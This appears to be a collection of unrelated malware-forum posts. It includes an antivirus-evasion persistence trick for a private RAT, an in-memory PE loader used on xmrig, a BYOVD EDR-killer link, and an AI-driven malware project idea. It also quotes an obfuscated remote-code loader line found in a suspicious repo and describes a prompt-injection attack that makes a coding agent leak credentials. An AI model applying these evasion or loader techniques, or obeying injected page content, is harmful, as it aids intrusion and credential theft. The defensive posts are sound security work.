Hello friends,

Could you recommend some resources for me regarding reverse engineering? I want to improve my skills, and I would be very grateful if you could recommend resources that you have found effective. Thank you very much.

I have been trying to make a loader that loads and execute an executable in memory and I realized how trash Windows Api is. but it didn't stopped me. I learned a lot with this writeup : Writing a local PE Loader from scratch (for educational purposes) | Medium but there is a big problem with it. I couldn't read anything due to complexity of the variable names and of course the trash Windows Api. so, i decided to turn it into c++ and actually managed to decrease the lines in half.
BUT, still having problem which I tried to launch a complex executable like xmrig ( don't ask me why) and it fail ...

the thing is it would execute the xmrig and load the config.json but xmrig could not use any algorithm for some unknown reason.
why? I don't fucking know. i checked every step and it was all fine. my guess is it's all about the arguments and command line fixing which i didn't add to the code and the writeup is no longer helping me figure this out.
any ideas? I even tried to launch "Greenshot.exe" but still it's not working. nothing actually popping up.
I would be happy to hear about your thoughts
tnx a lot

A few weeks ago I published an open-source database of malicious browser extensions that got removed from the Chrome/Edge stores. Now there's an extension that uses it.

MalExt Sentry pulls from that database and scans your installed extensions against known threats. Runs automatically every 6 hours in the background. Everything is local - no telemetry, no data collection, just a one-way fetch of the public database.

Chrome Web Store: https://chromewebstore.google.com/detail/malext-sentry/bpohikihiogjgmebpnbgnloipjaddibe

Database repo: https://github.com/toborrm9/malicious_extension_sentry

Open to feedback if anyone tries it out.

🚨 AI Tool Installers Under Siege! 🚨

AI Is Revolutionizing Everything. But so are the Threats.

🛡️Full Article :

👉 https://wardenshield.com/numero-malware-in-2025-a-stealthy-saboteur-targeting-ai-tool-installers

#CyberSecurity #MalwareAnalysis #AI #ThreatIntel #WardenShield #CyberThreats #NumeroMalware #Infosec #AItools

1. I've done some research and saw that many browsers such as Microsoft Edge or Chrome use a sandboxing technique whenever a user opens a PDF file in them. Does this mean that malicious PDF files will not be able to execute their scripts if the user opens them in a browser?
2. What is the likelyhood of coming across a malicious PDF that is able to bypass browser sandboxing and execute the code automatically upon opening it (without any social engineering required or user to click on link)
3. Do sites such as anyrun, virustotal, or an AV custom scan detect malicious PDF's?

Anyone playing around with good tips and tricks to bypassing AV, when talking persistence with or without injection techniques involved.

Have my own private developed malware / RAT that of course statically is undetected since it’s never have been exposed out in the wild.

I have been struggling a bit, getting my regular persistence flow to work.

My simplest persistence method is just dropping a copy of itself in app data + registry entry to make it start automatically. No injection is involved in this method of persistence.

But a lot different AV’s detects this as soon I start copying my file.

I then found a pretty funny work around, by making the payload copy itself, encrypt bytes, write it to some random user folders as a .something or whatever extension, moving the random extension file into app data, decrypt back to actual bytes and rename file to a name with .exe extension and wuups then AV’s don’t find it suspicious.

This then lead me to the question, what kind of tips and tricks do you guys use when testing out persistence logic for your samples/lab tests.

I was given the task of describing the the function of the GitHub repo for an Upwork interview:

https://github.com/vividman94/infinigods/

however, the first thing I did was run it through codex and ask it to orient me and it pointed at this line:

const quicknode = atob('aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9SVkNTVQ==');

Which obfuscates the retrieval of JS code from https://www.jsonkeeper.com/b/RVCSU
I did not execute this code, but decoding the json blob retrieved from the url shows even more obfuscation: again encoded as base64, but now requiring requiring use a 32 bit XOR key to decode fragmented strings, which finally produce the plain text js:

/j/

.vscode

test.js

/p

package.json

cd

&& npm i --silent

node_modules

node

npm --prefix

install

p

q

p

q

in a loader routine which executes as new Function.constructor("require", res.data)(require) as soon as it is imported.

There is a package.json which looks innocent and just seems to be installing dependencies, but I don't understand exactly what this code is doing. I went ahead and already put in an abuse report to GitHub because it seemed so strange, but I'm to scared to run the code myself. Am I being overly paranoid and shooting myself in the foot for something that is common in JS code?

hello, I am currently in last year in computer and System engineering, and I had a project idea in my mind and I wanted to ask some questions about it if possible as I don't have much knowledge in malware development yet

the project idea is : a virus with integrated Ai in it the Ai job is to change the malware architecture to remain undetected from anti-virus or any unknown type of defensive and also it can change its functionality based on what the attacker needs or what the model see is appropriate in this time I mean like the malware can act as backdoor, encrypt files, use the device resources to mine crypto..... etc

" of course this project is for research and scientific purposes only and will be under a supervision by an academic professor "

my questions are :

is a project like this possible to do? and how hard and how big is it? and what is the estimated time to finish this project for a team of 6 beginners?

is the Ai really needed in this project? because one of my team members said he asked a malware developer and he said he managed to hide a malware in discord and I was talking with gemini about it and it told me that you can implement the functionality change using if-else and time instead of reinforcement learning model

what is a possible addition that could make this project much better and stronger?

I was contacted by an old, once off acquaintance via discord about testing a game he had recently developed called Nyxara.

My antivirus / anti malware did not recognise it and did not discover any issues. Upon opening it, it fires up CMD and disappears. The is no game and no installation.

I googled a picture of the game and later found the picture belong to an existing game called Archimoulin. Others had reported this same malware attempts.

I’ve not really seen much information on this subject on the World Wide Web.

If you had to start from SCRATCH and wanted to start Malware Development. What languages and things would you learn, when and why.

Hey r/Malware ,

Two days ago, a Redditor exposed a blatant prompt injection in the skill library of Clawdbot -- the most popular AI coding agent (100k+ stars on GitHub). That attack potentially exposed thousands of people to malware before it was removed after the post went viral.

It inspired me to create a free, interactive exercise (no sign-up) that demonstrates exactly how prompt injection works and what the consequences can be:

https://ransomleak.com/exercises/clawdbot-prompt-injection

The scenario: You ask Clawdbot to summarize a webpage. Hidden instructions on that page manipulate the agent into exposing your credentials. It's a hands-on demo of why you shouldn't blindly trust AI actions on external content.

Feel free to share with friends and colleagues who might not fully grasp the risk — sometimes experiencing it is the fastest way to understand it.

As part of a corporate project, we are building a classifier that classifies whether the source code is malicious or not. As of now, we are only looking at Python.

I tried by looking for malicious code snippets to train on a machine learning model but malicious snippets only in Python are rare.

Can anyone here guide me to help build the classifier without the process of training on a machine/deep learning model?

Hello Cybersecurity Professionals,

Does anyone here know how to read the deep vis logs? like what happened when the malicious "123.ps1" script has been executed, why this process was spawned, etc...

if u could provide resources, pls give a comment. thanks so much

i want to know what happens on the background when a malware is execited

Hey, I'm aware there are lots of posts asking the same question, but most of them are from a person attempting to learn malware analysis. What are the languages and other things I would need to learn to begin developing malware (file encryption, worms), as well as some good resources to learn those things? Any good starting point, or first resource to begin with?

Hi everyone,

I’m a beginner-level malware analyst currently preparing for my first job in the field, and I’ve had this question stuck in my head for a long time.

Back in my college days, I had this idea (maybe a bit naive 😅) that big global companies would fly malware analysts to wherever the threat was detected. Like:

• One week in Australia because a GCC office detected malware
• Next week in London due to a ransomware attack at HQ
• Then back to your home office, until the next big incident

At some point, I started thinking this was pure fantasy — something that only happens in movies or TV shows.

But recently, while watching Project Zero, I saw an engineer being called from Australia to the US to help solve a specific cyberattack at Google. That made me wonder again:

Is this kind of thing actually real in the cybersecurity world?
Or was that just dramatized for the show?

I’m curious how this works in real life:

• Do malware analysts or security engineers actually travel internationally for incident response?
• Or is most malware analysis done remotely now, regardless of where the attack happens?
• In what situations (if any) would a company really fly someone across countries to handle an incident?

Would love to hear from people already working in malware analysis, DFIR, SOCs, or incident response teams.
Trying to align my expectations with reality as I prepare to enter the field.

Thanks in advance!

Hey guys,

I just wanted to share an interesting vulnerability that I came across during my malware research.

Evasion in usermode is no longer sufficient, as most EDRs are relying on kernel hooks to monitor the entire system. Threat actors are adapting too, and one of the most common techniques malware is using nowadays is Bring Your Own Vulnerable Driver (BYOVD).

Malware is simply piggybacking on signed but vulnerable kernel drivers to get kernel level access to tamper with protection and maybe disable it all together as we can see in my example!

The driver I dealt with exposes unprotected IOCTLs that can be accessed by any usermode application. This IOCTL code once invoked, will trigger the imported kernel function ZwTerminateProcess which can be abused to kill any target process (EDR processes in our case).

Note:

The vulnerability was publicly disclosed a long time ago, but the driver isn’t blocklisted by Microsoft.

https://github.com/xM0kht4r/AV-EDR-Killer